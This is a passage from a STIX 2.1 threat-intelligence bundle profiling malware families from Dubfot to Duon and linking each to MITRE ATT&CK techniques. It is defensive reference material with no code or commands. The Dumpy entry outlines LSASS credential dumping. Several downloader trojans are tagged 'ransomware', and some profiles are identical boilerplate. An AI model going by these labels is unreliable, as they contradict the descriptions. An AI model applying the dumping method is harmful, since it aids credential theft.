          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dubfot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9343442-d02a-56cf-bfe3-2cb85dc1a59e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dubfot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e463c8c-3cef-5e66-9c12-ed6a35d0dd2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dubfot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c45a4c0-07be-5c84-90c2-2632683cd4f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dubfot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3d3a828-d634-537e-8780-49fa0c8d875c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dubfot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--044644fc-650a-50e1-9311-91673a08764b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dubfot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17883107-c94f-5711-b2a2-4d64e3a9fdab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Duduunion",
      "description": "<h3>Executive Summary</h3>\nDuduunion is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDuduunion is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Duduunion operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Duduunion ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Duduunion receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Duduunion infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Duduunion executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Duduunion frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Duduunion",
        "Downloader.Duduunion",
        "Win32/Duduunion"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Duduunion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/duduunion"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ae5070c-f14a-526a-ba0b-ebbb5184b11f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17883107-c94f-5711-b2a2-4d64e3a9fdab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duduunion exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84733763-ebe1-59a8-b759-8a42fb981275",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17883107-c94f-5711-b2a2-4d64e3a9fdab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duduunion exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b0a2133-34ce-55b7-bc1d-6adb299f9674",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17883107-c94f-5711-b2a2-4d64e3a9fdab",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duduunion exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba0f35d0-3e33-593c-b54c-4a3acb63afb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dumpy",
      "description": "Trojan:Win32/Dumpy is a highly specialized malware variant designed specifically for **Credential Dumping**. Unlike a general-purpose backdoor, Dumpy has one primary objective: to extract cleartext passwords, password hashes (NTLM), and Kerberos tickets directly from the memory of the Local Security Authority Subsystem Service (`lsass.exe`) process on Windows machines.<br><br><b>Understanding Dumpy</b><br>To an end-user, a Dumpy infection is completely invisible; the system continues to operate normally. For an enterprise security team, Dumpy represents an immediate 'Code Red' escalation. The presence of this tool indicates that an attacker has already bypassed perimeter defenses, gained local administrator privileges, and is actively harvesting credentials to facilitate lateral movement across the network and escalate privileges to Domain Administrator.<br><br><b>Execution and Credential Theft Mechanics</b><br>Dumpy is almost never the initial infection vector. It is typically dropped post-exploitation by an attacker utilizing an existing backdoor (`T1105`) or executing living-off-the-land techniques via PowerShell. Upon execution, Dumpy requires `SeDebugPrivilege` to interact with `lsass.exe`. It uses Windows APIs (`MiniDumpWriteDump` or direct memory reading) to dump the memory space of the LSASS process (`T1003.001`). This memory dump contains the cryptographic secrets and hashes of any user who has recently logged into that specific machine. The attacker then parses this dump offline (using tools like Mimikatz or SecretsDump) to extract the credentials, which are then used in Pass-the-Hash (PtH) or Pass-the-Ticket (PtT) attacks against other systems on the domain.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a catastrophic breach of identity and authentication boundaries, often leading to total domain compromise. Host-based IoCs require robust EDR: look for any process (other than authorized administrative tools) attempting to open a handle to `lsass.exe` with `PROCESS_VM_READ` access rights. The creation of large, unexplained `.dmp` files in the `%Temp%` directory is a classic indicator. Network IoCs are minimal, as the dump is usually exfiltrated over an already established C2 channel. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dumpy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dumpy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdbb83f6-6ca1-507b-a65d-3d27e20ded44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba0f35d0-3e33-593c-b54c-4a3acb63afb5",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dumpy exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--da0b5f27-ef3b-5872-a75c-aed71aeb744f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1134.001: Access Token Manipulation: Token Impersonation/Theft (Using SeDebugPrivilege)",
      "description": "MITRE ATT&CK Technique T1134.001 (Access Token Manipulation: Token Impersonation/Theft (Using SeDebugPrivilege)) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1134.001",
          "url": "https://attack.mitre.org/techniques/T1134/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b2688dd-3cd6-55be-8921-ef76fd737221",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba0f35d0-3e33-593c-b54c-4a3acb63afb5",
      "target_ref": "attack-pattern--da0b5f27-ef3b-5872-a75c-aed71aeb744f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dumpy exhibits technique T1134.001 (Access Token Manipulation: Token Impersonation/Theft (Using SeDebugPrivilege))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e98ee0ae-b399-5eb9-a8ef-c640dc206dca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba0f35d0-3e33-593c-b54c-4a3acb63afb5",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dumpy exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Often used to execute memory dumpers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dunco",
      "description": "Trojan:Win32/Dunco is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dunco</b><br>To an end-user, a Dunco infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dunco is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dunco is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dunco frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dunco reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dunco",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dunco"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0905732-b662-55c4-81b3-b5d72f9c0276",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunco exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e11dc9c0-c5a9-5b00-9fec-858de46eb0e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunco exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7311dfde-a2b6-5975-b03f-aaa8aa47abdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunco exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4303506a-c254-51a6-bb5e-ea35a17857da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunco exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--305c62e7-9659-5874-8b59-952eef71b6f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3fc5542-58c5-529f-b19f-1c98cc14386e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunco exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8175e5b9-b12d-5479-9893-b2f322da0665",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dungcoi",
      "description": "<h3>Executive Summary</h3>\nDungcoi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDungcoi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dungcoi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dungcoi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dungcoi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dungcoi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dungcoi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dungcoi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dungcoi",
        "Downloader.Dungcoi",
        "Win32/Dungcoi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dungcoi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dungcoi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14edb942-76d8-560c-8c75-64d22a37fbc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8175e5b9-b12d-5479-9893-b2f322da0665",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dungcoi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e7a0235-f042-5d7f-a2e5-28520fda6cd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8175e5b9-b12d-5479-9893-b2f322da0665",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dungcoi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8996dc3-0547-55d5-b35b-d978081c02bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8175e5b9-b12d-5479-9893-b2f322da0665",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dungcoi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64cc01d4-184d-58ea-82bb-bd054ff5608d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dunik",
      "description": "<h3>Executive Summary</h3>\nDunik is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDunik is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dunik operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dunik ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dunik receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dunik infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dunik executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dunik frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dunik",
        "Downloader.Dunik",
        "Win32/Dunik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dunik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dunik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72bf3635-c52e-5f69-b6ec-3849b71bc349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64cc01d4-184d-58ea-82bb-bd054ff5608d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acd4b923-f881-532a-8553-674e167a553b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64cc01d4-184d-58ea-82bb-bd054ff5608d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03fb3e82-ecb8-5687-95a1-ce2c3ce180a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64cc01d4-184d-58ea-82bb-bd054ff5608d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dunik exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db3b765c-d8d7-5cfb-987c-f78b718fdc0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Duon",
      "description": "<h3>Executive Summary</h3>\nDuon is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDuon is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Duon operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Duon ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Duon receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Duon infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Duon executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Duon frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Duon",
        "Downloader.Duon",
        "Win32/Duon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Duon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/duon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4c56448-ae4b-55b6-b77d-0e69d9e133ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db3b765c-d8d7-5cfb-987c-f78b718fdc0b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e7918c3-b8f0-5b05-807a-da0a105efd00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db3b765c-d8d7-5cfb-987c-f78b718fdc0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
